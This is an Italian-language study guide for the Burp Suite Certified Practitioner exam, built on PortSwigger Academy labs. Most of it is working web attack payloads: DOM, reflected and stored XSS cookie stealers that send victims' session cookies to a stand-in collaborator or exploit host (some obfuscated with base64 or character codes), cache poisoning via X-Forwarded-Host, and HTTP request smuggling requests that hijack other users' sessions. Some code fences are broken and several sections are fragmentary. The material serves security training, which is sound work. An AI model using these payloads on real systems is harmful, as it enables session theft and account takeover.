>Richiesta XInclude fuori banda, serve un DTD ospitato per leggere il file locale.```xml
<hqt xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://OASTIFY.COM/foo"/></hqt>

>Codifica in URL i caratteri chiave.  

![admin-cookie-stealer](https://assets.kitploit.com/production/public/readmes/51008/64ba64b0fa7e1681859eb5d76a88f94fb91a78655f1ce768ff8e1b50f3cf57c1/990ac058ff6a9727193848c821acf60a43011fa7ba8dfd967ab6b3dd7f2e0bcb-display-v1.webp)  

>Usa il cookie dell'utente admin per accedere al pannello di amministrazione sostituendolo nella sessione corrente del browser.  

[PortSwigger Lab: Scansione di strutture dati non standard](https://portswigger.net/web-security/essential-skills/using-burp-scanner-during-manual-testing/lab-scanning-non-standard-data-structures)  
    
-----

# Punto d'ingresso  
  
# Scoperta dei contenuti  

>L'enumerazione del target inizia con il fuzzing di directory e file web. Si possono usare gli strumenti di engagement di Burp, l'opzione di scoperta dei contenuti per trovare percorsi e file nascosti, oppure usare `FFUF` per enumerare directory e file web. Anche l'esame di `robots.txt` o `sitemap.xml` può rivelare contenuti.```bash
wget https://raw.githubusercontent.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/main/wordlists/burp-labs-wordlist.txt

ffuf -c -w ./burp-labs-wordlist.txt -u https://TARGET.web-security-academy.net/FUZZ

![git-cola](https://assets.kitploit.com/production/public/readmes/51008/14079c28e5cbbdff33e677924bd48ab71e6afd5a28c04080d37705e6612df983/cfd1fad85dc91fe0115a20bcfbc1a45eabd76e74a1d5d2ccf74dea9d85d85f47-display-v1.webp)  

[PortSwigger Lab: Information disclosure in version control history](https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-in-version-control-history)  

>Apri sempre il `source code` per cercare commenti degli sviluppatori che rivelino file o percorsi nascosti. L'esempio seguente porta alla [deserializzazione del token symphony](#deserialization).  

![DEV code debug comment deserial](https://assets.kitploit.com/production/public/readmes/51008/367ef48f4d29249a7a4d0968b5028357b914e75aba779e99c6b90fa140ec65ce/b382686bbd5c2e87dc23936f0e60830c9f765a8d8f65f8ee4075d3db5d7ec524-display-v1.webp)  
  
-----

## DOM-Based XSS  

[DOM XSS Indicators](#identify-dom-xss)  
[DOM XSS Identified with DOM Invader](#dom-invader)  
[DOM XSS AngularJS](#vuln-angularjs)  
[DOM XSS document.write in select](#doc-write-location-search)  
[DOM XSS JSON.parse web messages](#dom-xss-jsonparse-web-messages)  
[DOM XSS AddEventListener JavaScript URL](#dom-xss-addeventlistener-javascript-url)  
[DOM XSS AddEventListener Ads Message](#dom-xss-addeventlistener-ads-message)  
[DOM XSS Eval Reflected Cookie Stealer](#reflected-dom-xss)  
[DOM XSS LastviewedProduct Cookie](#dom-xss-lastviewedproduct-cookie)  

### Identificare DOM-XSS  

>Le vulnerabilità XSS basate su DOM sorgono quando JavaScript prende dati da una fonte controllabile dall'attaccante, come l'URL, e passa codice a un sink che supporta l'esecuzione dinamica di codice. 
>Testa quali caratteri consentono di uscire dal punto di iniezione del `source code`, utilizzando la stringa fuzzer qui sotto.```
<>\'\"<script>{{7*7}}$(alert(1)}"-prompt(69)-"fuzzer

>[Payload furto di cookie](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/5cbfeb2a11577ad62a31f72635a000bf5dcce293/payloads/CookieStealer-Payloads.md) utilizzando `on.constructor` che può essere inserito in un iframe, ospitato su un server di exploit, con conseguente invio del cookie di sessione della vittima a Burp Collaborator.  
>[Cheat sheet di PortSwigger per riferimento al cross-site scripting](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#angularjs-reflected--1.0.1---1.1.5-(shorter))```JavaScript
{{$on.constructor('document.location="https://OASTIFY.COM?c="+document.cookie')()}}

![get-dom-xss.png](https://assets.kitploit.com/production/public/readmes/51008/37e4c9891b5e47032f2e743dadfe032f683370b76c260e82c4cbe34c76761d0e/68fd6e566e7d66328472586265b05c07698c83300195575bb7be0a7953c3533b-display-v1.webp)  

>DOM XSS [payload per il furto di cookie](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/5cbfeb2a11577ad62a31f72635a000bf5dcce293/payloads/CookieStealer-Payloads.md) in un sink `document.write` usando la sorgente `location.search` all'interno di un elemento `<select>`. Questo può essere inviato alla vittima tramite il server di exploit in un `

![JSON_parse_web_messages_Exploit_server_cookie_steal_POC.png](https://assets.kitploit.com/production/public/readmes/51008/00edaa7a2bfeabdf0a3960609fc7468eb1cf4ef7721a422729b8b9f48159aa7e/b61bc029401130a999c8d530bec7b388abf058081cc327abd67c61fb5047d960-display-v1.webp)  

[PortSwigger Lab: DOM XSS using web messages and JSON.parse](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source/lab-dom-xss-using-web-messages-and-json-parse)  

>DOM Invader utilizzato per identificare e testare DOM XSS tramite web messages  

![DOM Invader identifica i web messages](https://assets.kitploit.com/production/public/readmes/51008/b403cebcf7416a0b011983a370268c86ff6613654a51d172aedd9513586d0d4d/da80859bbfbed987e5bfbc602ceb8ecb0c45f95ee64ed91af3139af1e21c5838-display-v1.webp)  

>Ripeti l'invio del post message utilizzando DOM Invader dopo aver alterato i dati JSON.```JSON 
{
    "type": "load-channel",
    "url": "JavaScript:document.location='https://OASTIFY.COM?c='+document.cookie"
}

![DOM_based_cookie_manipulation.png](https://assets.kitploit.com/production/public/readmes/51008/45bed47194ee65d402c2926c551335ada23f37b144bad8c4d80f67a54fc2d1d4/1cc9923c8daf2c0aedd277d7f6f78184415ef7f176b95e43c531e63fb341f08b-display-v1.webp)  

Una volta aggiornato il cookie della vittima, il log del server Exploit cattura il valore segreto del cookie.  

>Con il grande aiuto di ***ShehmeerAbidRajput*** ho aggiornato questo lab con il payload cookie stealer da lui fornito.  

[PortSwigger Lab: manipolazione dei cookie basata su DOM](https://portswigger.net/web-security/dom-based/cookie-manipulation/lab-dom-cookie-manipulation)  
  
-----

## Cross Site Scripting  

[XSS Resources](#xss-resources)  
[Identify allowed Tags](#identify-allowed-tags)  
[Bypass Blocked Tags](#bypass-blocked-tags)  
[XSS Assign protocol](#xss-assign-protocol)  
[Custom Tags not Blocked](#custom-tags-not-blocked)  
[OnHashChange](#onhashchange)  
[Reflected String XSS](#reflected-string-xss)  
[Reflected String Extra Escape](#reflected-string-extra-escape)  
[AngularJS Sandbox Escape](#angularjs-sandbox-escape)  
[XSS Template Literal](#xss-template-literal)  
[XSS via JSON into EVAL](#xss-via-json-into-eval)  
[Stored XSS](#stored-xss)  
[Stored DOM XSS](#stored-dom-xss)  
[XSS in SVG Upload](#xss-svg-upload)  
  
### XSS Resources  

>Pagine delle risorse XSS per cercare payload per **tag** ed **eventi**.   

+ [Cheat sheet Cross-site scripting (XSS)](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
+ [PayloadsAllTheThings (XSS)](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection#xss-in-htmlapplications)
+ [Note di studio HackTheBox CPTS su XSS](https://github.com/botesjuan/cpts-quick-references/blob/main/module/Cross-site-scripting-xss.md)  

>Lo strumento CSP Evaluator verifica se è in atto una content security policy per mitigare gli attacchi XSS. Ad esempio, se manca `base-uri`, questa vulnerabilità consente all'attaccante di utilizzare il metodo di exploit alternativo descritto in [Upgrade stored self-XSS](#upgrade-stored-self-xss).  

+ [CSP Evaluator](https://csp-evaluator.withgoogle.com/)  
  
>Quando la lunghezza massima del campo di input è di soli 23 caratteri, usa questa risorsa per **Tiny XSS Payloads**.  

+ [Tiny XSS Payloads](https://github.com/terjanq/Tiny-XSS-Payloads)  

>Imposta nel browser un cookie di test non sicuro usando la console DevTools del browser, da utilizzare durante i test per i [payload cookie stealer](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/main/payloads/CookieStealer-Payloads.md) di POC XSS.```JavaScript
document.cookie = "TopSecret=UnsecureCookieValue4Peanut2019";

(empty)```html
"><svg><animatetransform onbegin=alert(1)>

>L'invio dei payload sopra indicati può restituire un messaggio di risposta, ***"Tag non consentito"*** a causa del blocco delle iniezioni da parte del Web Application Firewall (WAF).
>Quindi ***identifica*** i tag consentiti utilizzando [PortSwigger Academy Metodologia](https://portswigger.net/web-security/cross-site-scripting/contexts/lab-html-context-with-most-tags-and-attributes-blocked).  

>Encoder e decoder online per URL e Base64  

+ [Decodifica e codifica URL](https://www.urldecoder.org/)  
+ [Decodifica e codifica BASE64](https://www.base64encode.org/)  
  
>Questo lab fornisce un'ottima **metodologia** per ***identificare*** i tag HTML e gli eventi consentiti per realizzare POC XSS.  

>Ospita il codice **iframe** sul server di exploit e consegna il link di exploit alla vittima.```html

>Posiziona il payload di cui sopra sul server di exploit e inserisci l'URL con il valore di ricerca in un ```iframe``` prima di consegnarlo alla vittima nel blocco di codice in basso.```html

![Posizione del protocollo XSS](https://assets.kitploit.com/production/public/readmes/51008/b956c8c2fbd782fe426a2206be3aa7784eed101c58edbdf2a1cb1a58f2a05d63/d92f66a14a37c5b4341e9fe1d5e097e364089e6ce085e39ef0c44e5e48812fb8-display-v1.webp)  

[PortSwigger Lab: Reflected XSS into HTML context with nothing encoded](https://portswigger.net/web-security/cross-site-scripting/reflected/lab-html-context-nothing-encoded)  
  
### Tag personalizzati non bloccati  
  
>L'applicazione risponde con il messaggio ***"Tag non consentito"*** quando si tenta di inserire payload XSS, ma se creiamo un tag personalizzato, viene bypassato.```html
<xss+id=x>#x';

>**Nota:** Il tag personalizzato con ID ```x```, che contiene un gestore di eventi **onfocus** che attiva la funzione ```document.location```. Il carattere **HASH** `#` alla fine dell'URL mette a fuoco questo elemento non appena la pagina viene caricata, causando la chiamata del payload. Ospita lo script del payload sul server di exploit nei tag ```script``` e invialo alla vittima. Di seguito è riportato lo stesso payload ma in formato **URL-encoded**.```
<script>
location = 'https://TARGET.net/?search=%3Cxss+id%3Dx+onfocus%3Ddocument.location%3D%27https%3A%2F%2FOASTIFY.COM%2F%3Fc%3D%27%2Bdocument.cookie%20tabindex=1%3E#x';
</script>

>Nota: se il cookie è protetto con il flag **HttpOnly** abilitato, il cookie non può essere rubato tramite XSS.  

>Il payload del laboratorio PortSwigger esegue print.```JavaScript

>Modificare il payload in un cookie stealer che consegna il token di sessione a Burp Collaborator.```html
</script><script>document.location="https://OASTIFY.COM/?cookie="+document.cookie</script>

>Exploit Server che ospita una vulnerabilità riflessa nel termine di ricerca, che viene inviata alla vittima per ottenere il cookie di sessione.```html
<script>
location = "https://TARGET.net/?search=%3C%2FScRiPt+%3E%3Cimg+src%3Da+onerror%3Ddocument.location%3D%22https%3A%2F%2FOASTIFY.COM%2F%3Fbiscuit%3D%22%2Bdocument.cookie%3E"
</script>

>Utilizzando una singola **barra rovesciata**, una virgoletta singola e un **punto e virgola**, si esce dalla variabile stringa JavaScript; quindi, utilizzando i backtick per racchiudere il percorso ```document.location```, si permette al cookie stealer di bypassare la protezione dell'applicazione.```
\';document.location=`https://OASTIFY.COM/?BackTicks=`+document.cookie;//

>Payload Collaborator ***ladro di cookie***:```
x=fetch('https://m9w8haeauh0frftrtjdvexkyrpxgl69v.oastify.com/?z='+document.cookie)

>Script Python per convertire qualsiasi payload in valori decimali ASCIII:```python
import sys

print('Python String to ASCII Converter!')
if len(sys.argv) != 2:
    print("Usage: Python ascii_converter.py 'Payload_String'")
    sys.exit(1)

input_string = sys.argv[1]
ascii_values = [str(ord(char)) for char in input_string]

output = ",".join(ascii_values)
print(output)
print('PortSwigger Expert Academy Labs!')

![xss template literal](https://assets.kitploit.com/production/public/readmes/51008/6445f64cd3a9618bd2c09bd89188bb0ec08d727310f6f9d2c5810484bdf9face/a14da86dd2b937e702ba9fb0a2975d9963bdcf8128fa39c5e24c36fef51e10ae-display-v1.webp)  
  
>Grazie a ***Adrián Gyurácz***, per aver fornito un bypass fantastico dove non ero riuscito a ottenere un cookie stealer funzionante che bypassasse tutti i filtri di questo lab.  

>***Adrián Gyurácz*** ha trovato il seguente articolo di ricerca di Portswigger che ha portato alla soluzione:  
[bypassing-character-blocklists-with-unicode-overflows](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows)  

#### Partendo da quanto sopra, il suo payload:```
${fetch(String.fromCharCode(0x68,0x74,0x74,0x70,0x73,0x3a,0x2f,0x2f,0x30,0x62,0x63,0x6f,0x31,0x68,0x62,0x62,0x32,0x66,0x72,0x75,0x61,0x39,0x6b,0x79,0x64,0x35,0x78,0x77,0x6c,0x31,0x71,0x37,0x77,0x79,0x32,0x70,0x71,0x6e,0x65,0x63,0x2e,0x6f,0x61,0x73,0x74,0x69,0x66,0x79,0x2e,0x63,0x6f,0x6d,0x3f,0x74,0x65,0x73,0x7a,0x74,0x3d) + document.cookie)}

[secjuice: Bypass dei filtri XSS utilizzando le variabili globali di JavaScript](https://www.secjuice.com/bypass-xss-filters-using-javascript-global-variables/)  

>Di seguito è riportato il main [payload per il furto di cookie](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/5cbfeb2a11577ad62a31f72635a000bf5dcce293/payloads/CookieStealer-Payloads.md) prima di codificarlo in BASE 64.```JavaScript
fetch(`https://OASTIFY.COM/?jsonc=` + window["document"]["cookie"])

>Testa il payload sul nostro stesso cookie di sessione nella funzione di ricerca.```JavaScript
"-eval(atob("ZmV0Y2goYGh0dHBzOi8vNHo0YWdlMHlwYjV3b2I5cDYxeXBwdTEzdnUxbHBiZDAub2FzdGlmeS5jb20vP2pzb25jPWAgKyB3aW5kb3dbImRvY3VtZW50Il1bImNvb2tpZSJdKQ=="))-"

>Ospitando l'`IFRAME` sul server exploit, si ottiene un messaggio di **errore** di connessione rifiutata al target. Ospita invece il payload sul server exploit tra i tag `<script>`.```html
<script>
location = "https://TARGET.net/?SearchTerm=%22%2d%65%76%61%6c%28%61%74%6f%62%28%22%5a%6d%56%30%59%32%67%6f%59%47%68%30%64%48%42%7a%4f%69%38%76%4e%48%6f%30%59%57%64%6c%4d%48%6c%77%59%6a%56%33%62%32%49%35%63%44%59%78%65%58%42%77%64%54%45%7a%64%6e%55%78%62%48%42%69%5a%44%41%75%62%32%46%7a%64%47%6c%6d%65%53%35%6a%62%32%30%76%50%32%70%7a%62%32%35%6a%50%57%41%67%4b%79%42%33%61%57%35%6b%62%33%64%62%49%6d%52%76%59%33%56%74%5a%57%35%30%49%6c%31%62%49%6d%4e%76%62%32%74%70%5a%53%4a%64%4b%51%3d%3d%22%29%29%2d%22"
</script>

>Le voci di log qui sotto mostrano le richieste fatte al server di exploit, e dai log possiamo ***identificare*** che `/img` e `/video` dei tag precedenti erano consentiti sull'applicazione e hanno effettuato richieste quando vi si accedeva.  

![Identify-stored-xss](https://assets.kitploit.com/production/public/readmes/51008/11465fd7f8106f2ba51ed5df21cfb6261aa41adc5f058ddfe98cb9e5b27862a9/1f1db7d901a945e9ac1d5a76beea620fcc1e4c0bf8c923b085aab3d631f1191d-display-v1.webp)  

>Cross site Scripting salvato nel commento del post del blog. Questo payload Cookie Stealer invia poi il cookie di sessione della vittima ai log del server di exploit.```html
<img src="https://raw.githubusercontent.com/botesjuan/burp-suite-certified-practitioner-exam-study/HEAD/1" onerror="window.location='https://exploit.net/cookie='+document.cookie">

#### Post del blog Stored XSS  

>Ladro di cookie del post del blog Stored XSS che invia il cookie del documento al server di exploit.```JavaScript
<script>
document.write('<img src="https://exploit.net?cookieStealer="+document.cookie+'" />');
</script>

>[IPPSEC YouTube usando HackTheBox Bookworm](https://youtu.be/UqDdR10F54A?si=nkhilLzyKQcfqtfU&t=1737), in cui mostra il codice JavaScript `payload.js`, come usa `fetch` e impara JavaScript.

[PortSwigger Lab: Sfruttare il cross-site scripting per rubare cookie](https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-stealing-cookies)

#### Potenziamento del self-XSS memorizzato

>Commento del blog con **Stored self-XSS**, potenziando il payload per rubare le informazioni della vittima dal DOM. La funzione **edit content** riflette l'input nel tag `<script>`. Il token CSRF per **write comment** è lo stesso della funzione **edit content**. Il payload seguente usa la funzione **write comment** per indurre la vittima a creare una voce di blog sul proprio blog con il nostro contenuto malevolo.
>Il carattere `a` viene aggiunto per sfuggire al carattere `#` del `source code` iniziale dell'applicazione.
>Il `source code` seguente nella voce di blog è l'exploit completo per rubare le informazioni della vittima.```html
<button form=comment-form formaction="/edit" id=share-button>Click Button</button>
<input form=comment-form name=content value='<meta http-equiv="refresh" content="1; URL=/edit" />'>
<input form=comment-form name=tags value='a");alert(document.getElementsByClassName("navbar-brand")[0].innerText)//'>

>Consegna Exploit, inviando alla vittima un URL che fa riferimento alla voce di blog sopra menzionata, si innescherà XSS nel suo contesto.  

[intigriti - Upgrade Self-XSS - Soluzione alla sfida XSS di dicembre 22](https://youtu.be/FowbZ8IlU7o)  

>Exploit alternativo che utilizza l'iniezione HTML nella pagina di modifica del contenuto della voce di blog, ***identificato*** utilizzando il [XSS Resources CSP check](#xss-resources).```
<base href="https://Exploit.net">

>Il payload modificato del lab di PortSwigger assegna la funzione `document.location` alla variabile `defaultAvatar` la prossima volta che la pagina viene caricata, perché il sito usa DOMPurify che consente l'uso del protocollo `cid:` che non esegue URLencode delle virgolette doppie.```
<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=document.location=`https://OASTIFY.COM/?clobber=`+document.cookie//">

>Il payload precedente viene memorizzato e qualsiasi utente che visita il blog dei commenti vedrà il proprio cookie di sessione rubato e inviato al collaborator.  

![commenti JSON DOM-XSS memorizzati](https://assets.kitploit.com/production/public/readmes/51008/371b3f9b43395a29db586e69d4de40acaf72b5b61a5389f8f86ae0110842d7e1/23d98eeda75f19599e87390856bc196ee3f430e6cb7de27b7a37889d816d3c08-display-v1.webp)  

>Payload del lab PortSwigger: `<>`.  

[PortSwigger Lab: DOM XSS memorizzato](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-dom-xss-stored)  

-----

## Avvelenamento della cache Web  

[Header non incluso](#unkeyed-header)  
[Utm_content non incluso](#unkeyed-utm_content)  
[Occultamento di utm_content](#cloaking-utm_content)  
[Avvelenamento di richieste ambigue](#poison-ambiguous-request)  
[Avvelenamento della cache con più header](#cache-poison-multiple-headers)  

### Header non incluso  

>Il target utilizza **tracking.js** JavaScript,  
>ed è vulnerabile all'header **```X-Forwarded-Host```** o **```X-Host```** che reindirizza il percorso,  
>consentendo il furto del cookie tramite l'avvelenamento della cache.  

>***Identifica*** gli header della cache web nella risposta e lo script tracking.js nel codice sorgente della pagina.  
>Sfrutta la vulnerabilità ospitando JavaScript e iniettando l'header per avvelenare la cache del target e reindirizzare una vittima in visita.  

![Revisione del `codice sorgente` di Tracking](https://assets.kitploit.com/production/public/readmes/51008/576da9fd34237353a8d7695b97b4041c9168065b412a2334263ee1e6f2962d31/f6581f37b35c2e92a43a634c6e073da64d1a622c35e84f844bc9ca4a5a77b028-display-v1.webp)```html
X-Forwarded-Host: EXPLOIT.net
X-Host: EXPLOIT.net

![exploit host tracking.js](https://assets.kitploit.com/production/public/readmes/51008/e84959203a80dc57141ea8ed26bb61337cfd29f5031069f68dce90f4baab3c72/9821e2ae37bc5b3fd487178962b5fc9c480b7c3fa8b2771c42952eaeee9999b2-display-v1.webp)  
  
>Il corpo invia il cookie di sessione al servizio di collaborazione.```javascript
document.location='https://OASTIFY.COM/?cookies='+document.cookie;

>Il payload sopra viene messo in cache e il cookie della vittima che visita il target viene inviato a Burp Collaborator.  

![cache-collaborator.png](https://assets.kitploit.com/production/public/readmes/51008/e7510b596e4ed186603414d130d0375fc1342f92dace8cea3190a2008ccac2ef/34ccca95d585ad78a9688d7aea1d22a784fb3714c4f4cf000d428abf9f2d6810-display-v1.webp)  

[PortSwigger Lab: avvelenamento della cache web tramite un parametro di query non incluso nella chiave](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-unkeyed-param)  

### Cloaking di utm_content  

>L'estensione Param Miner, eseguendo una `Bulk scan > Rails parameter cloaking scan`, ***identifica*** automaticamente la vulnerabilità. Manualmente può essere identificata aggiungendo `;` per aggiungere un altro parametro a `utm_content`; la cache lo tratta come un singolo parametro. Ciò significa che il parametro extra è anch'esso escluso dalla chiave di cache.  
>Il `source code` per `/js/geolocate.js?callback=setCountryCookie` viene chiamato su ogni pagina ed esegue la funzione di callback.  

>Il parametro `callback` è parte della chiave, e quindi non può avvelenare la cache per l'utente vittima, ma combinando un parametro duplicato con `utm_content`, tale parametro viene escluso e la cache può essere avvelenata.```
GET /js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=EVILFunction

>Di seguito è riportato il payload [Url Decoded](https://www.urldecoder.org/).```
GET/js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=document.location='https://OASTIFY.COM?nuts='+document.cookie; HTTP/2

>Imposta sul server exploit un file nello stesso percorso delle chiamate del target a ```/resources/js/tracking.js```; questo conterrà il payload. Inserisci il codice del payload JavaScript qui sotto per eseguire un cookie stealer.```
document.location='https://OASTIFY.COM/?CacheCookies='+document.cookie;

![x-forwarded-scheme non https](https://assets.kitploit.com/production/public/readmes/51008/6308ae06f8ce9ba48fa18b411594c8167f6ef048396812940710574b4ca08e92/6584ce6158a913edd0f321d0f2bb297fcf620a934c1851ca398cd3967b0658af-display-v1.webp)  

>Sul server exploit cambia il percorso del file in `/resources/js/tracking.js`  
>e poi aggiorna l'intestazione `X-Forwarded-Host: EXPLOIT.net` della richiesta poison.  
>Inserisci il payload nel corpo del server exploit.```html
document.location='https://OASTIFY.COM/?poisoncache='+document.cookie;

>La funzione che viene chiamata nella risposta passando un parametro callback duplicato viene riflessa. Nota che nella risposta la chiave della cache è ancora derivata dal parametro callback originale nella riga della richiesta GET.  

![fat-get-request](https://assets.kitploit.com/production/public/readmes/51008/7f9468b57a1367f83a2dc7a3b2eba41537c5b8ce237e3e298b0f296c77fd2c48/cde14e3ec33e74e482c7f19fb227218fbaf8ff632551a4f3f37021b99875aa7f-display-v1.webp)  

>Non sono riuscito a far funzionare il payload per il furto di cookie......  

[PortSwigger Lab: Avvelenamento della cache web tramite una richiesta GET fat](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)  
  
-----

## Host Headers  

[Spoof dell'indirizzo IP](#spoof-ip-address)  
[Stato della connessione HOST](#host-connection-state)  
[SSRF basato sul routing dell'Host](#host-routing-based-ssrf)  
[SSRF tramite parsing difettoso della richiesta Host](#absolute-get-url--host-ssrf)  

### Spoof IP Address  

>***Identifica*** che gli header HOST alterati sono supportati,  
>il che ti consente di spoofare il tuo indirizzo IP e bypassare la protezione contro il brute-force basato su IP  
>o attacchi di redirezione per effettuare l'avvelenamento del ***password reset***.  
  
>Includi gli header `X- ` di seguito e modifica il parametro username nella richiesta di password reset in `Carlos` prima di inviare la richiesta.  
>Nell'esame BSCP, se hai usato questo exploit significa che non hai usato una vulnerabilità che richiede interazione con l'utente e che ti consente di usare una vulnerabilità di interazione per ottenere l'accesso allo stage 3 come admin usando la funzione `Deliver exploit to victim` del server di exploit.```html
X-Forwarded-Host: EXPLOIT.net
X-Host: EXPLOIT.net
X-Forwarded-Server: EXPLOIT.net

>La prossima richiesta è la seconda scheda nella sequenza di richieste del gruppo.```html
POST /admin/delete HTTP/1.1
Host: localhost
Cookie: _lab=YOUR-LAB-COOKIE; session=YOUR-SESSION-COOKIE
Content-Type: x-www-form-urlencoded
Content-Length: 53

csrf=TheCSRFTokenValue&username=carlos

>Alcuni server che supportano l'header `Transfer-Encoding` possono essere indotti a non elaborarlo se l'header viene **offuscato** in qualche modo.  

>Nel menu Repeater assicurarsi che l'opzione **"Update Content-Length"** non sia selezionata.```html
POST / HTTP/1.1
Host: TARGET.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: identity

e6
GET /post?postId=4 HTTP/1.1
User-Agent: a"/><script>document.location='http://OASTIFY.COM/?c='+document.cookie;</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0\r\n  
\r\n
  

>Calcolo della lunghezza della richiesta di contrabbando TE.CL (Transfer-Encoding / Content-Length) in **ESADECIMALE** e il payload è compreso tra la lunghezza esadecimale di **71** e lo **ZERO** di terminazione, non includendo lo ZERO e non includendo il `\r\n` precedente sulla riga sopra lo ZERO, come parte della lunghezza. Il **content-length** della richiesta POST iniziale è impostato manualmente.

![te.cl.multicase-smuggle.png](https://assets.kitploit.com/production/public/readmes/51008/1ba4fcdba70b77eb05e5b842e9ccb5f0e6186fd825b79abf19162bd48c9a2ac4/15d1da97f267f46bc4705095cdb83f12de63d795dda71ebcf1964a4fb5b59c3c-display-v1.webp)

>Quando si invia `/admin/delete?username=carlos` per eliminare l'utente, la lunghezza esadecimale del transfer encoding viene cambiata dal valore esadecimale `71` a `88` per includere la dimensione extra della richiesta contrabbandata.

[Laboratorio PortSwigger: sfruttare l'HTTP request smuggling per bypassare i controlli di sicurezza del front-end, vulnerabilità TE.CL](https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-te-cl)

### CL.TE multiCase - Admin bloccato

>Quando si tenta di accedere al percorso URL del portale `/admin`, otteniamo il messaggio del filtro `Path /admin is blocked`. Lo scanner HTTP Request Smuggler ***identifica*** la vulnerabilità come `CL.TE multiCase (delayed response)`.

>Per accedere al pannello di amministrazione, invia la richiesta seguente due volte, aggiungendo la seconda intestazione ```Content-Length: 10``` per evitare che l'intestazione HOST entri in conflitto con la prima richiesta.```html
POST / HTTP/1.1
Host: TARGET.net
Cookie: session=waIS6yM79uaaNUO4MnmxejP2i6sZWo2E
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
tRANSFER-ENCODING: chunked

0

GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=

![Sfruttamento dello smuggling di richieste HTTP con valore content-length](https://assets.kitploit.com/production/public/readmes/51008/4c173fff1dc7b0ef15f53dfcdcf0f0ad0b926b458a9ab2b0790631732ff10a69/954092c78d1a623e56e178135eed6d20e3c629219cd2847ad95427033e176864-display-v1.webp)  

>Nessuna nuova riga alla fine della richiesta POST contrabbandata qui sopra^^.  

>Consulta il blog **post** per vedere se c'è un commento contenente la richiesta di un utente. Nota che l'attacco avrà successo solo dopo che l'utente vittima avrà visitato il sito web di destinazione. Copia l'header Cookie dell'utente dal commento del blog e usa il cookie per accedere all'account della vittima.  
  
![Sfruttamento dello smuggling di richieste HTTP per catturare le richieste di altri utenti](https://assets.kitploit.com/production/public/readmes/51008/a76ea75a6471c18cf2a96c528f30299762c0ba13f596e03107aa271b3a525cf9/d96547811438a4b12f2e03a9ddd7d8bb68c03ad2960e435fad558344629bd3d8-display-v1.webp)  

[PortSwigger Lab: Sfruttamento dello smuggling di richieste HTTP per catturare le richieste di altri utenti](https://portswigger.net/web-security/request-smuggling/exploiting/lab-capture-other-users-requests)  
  
### CL.TE multiCase - Furto di cookie tramite User-Agent  
  
>***Identifica*** che il valore UserAgent è memorizzato nella richiesta GET che carica il modulo dei commenti del blog, e memorizzato nel valore nascosto **User-Agent**. Sfrutta lo smuggling di richieste HTTP per veicolare una XSS riflessa usando il valore **User-Agent** che viene poi inserito in una richiesta contrabbandata.  

>Payload di base di Cross Site Scripting che fuoriesce dal documento HTML.```JavaScript
 "/><script>alert(1)</script>

>Intrufola questa richiesta XSS al server back-end, così che colpisca il prossimo visitatore. Inserisci il ladro di cookie XSS nell'header **User-Agent**.```html
POST / HTTP/1.1
Host: TARGET.net
Content-Length: 237
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

0

GET /post?postId=4 HTTP/1.1
User-Agent: a"/><script>document.location='http://OASTIFY.COM/?Hack='+document.cookie;</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

x=1

![http2 smuggle via crlf inject](https://assets.kitploit.com/production/public/readmes/51008/09b24f9c67e89369995ebe8a45b621e5f8efe9ad325002fcbf91a1c690c6710f/2df373fd39cb8a7997450db0a8d6f81786ff41fde6792560ac25fa1763928bd3-display-v1.webp)  
  
[PortSwigger Lab: HTTP/2 request smuggling via CRLF injection](https://portswigger.net/web-security/request-smuggling/advanced/lab-request-smuggling-h2-request-smuggling-via-crlf-injection)  
  
[Youtube demo HTTP/2 request smuggling via CRLF injection](https://youtu.be/E-bnCGzl7Rk)  

### HTTP/2 TE desync v10a h2path

>Il target è vulnerabile al request smuggling perché il server front-end declassa le richieste HTTP/2 anche se hanno una lunghezza ambigua. Ruba il  cookie di sessione dell'amministratore che visita il target. L'estensione di Burp, **HTTP Request Smuggler** ***identificherà*** la vulnerabilità come vulnerabilità HTTP/2 TE desync v10a (H2.TE).  

![HTTP/2 TE desync v10a h2path](https://assets.kitploit.com/production/public/readmes/51008/70cfa490497638cb3fa016779d8ee60933280c3d274c41abf3cabae051c9eba5/c89d21494e43c3a2be73ddd689ad5123005e682ab6be423d1914927d95a80f79-display-v1.webp)  

>Nota: Passa a **HTTP/2** negli attributi della richiesta nell'inspector e abilita l'opzione **Allow HTTP/2 ALPN override** nel menu repeat.```html
POST /x HTTP/2
Host: TARGET.net
Transfer-Encoding: chunked

0

GET /x HTTP/1.1
Host: TARGET.web-security-academy.net\r\n
\r\n

![admin-panel-access](https://assets.kitploit.com/production/public/readmes/51008/71bc02ebbf47a4060144c099b7ef0c27e9c602bdba1f757389b8124c37b14026/e8f3eef3bfadcb8098dae9dc5ee39feee97c03fef2660e36a32657abfadd056a-display-v1.webp)  

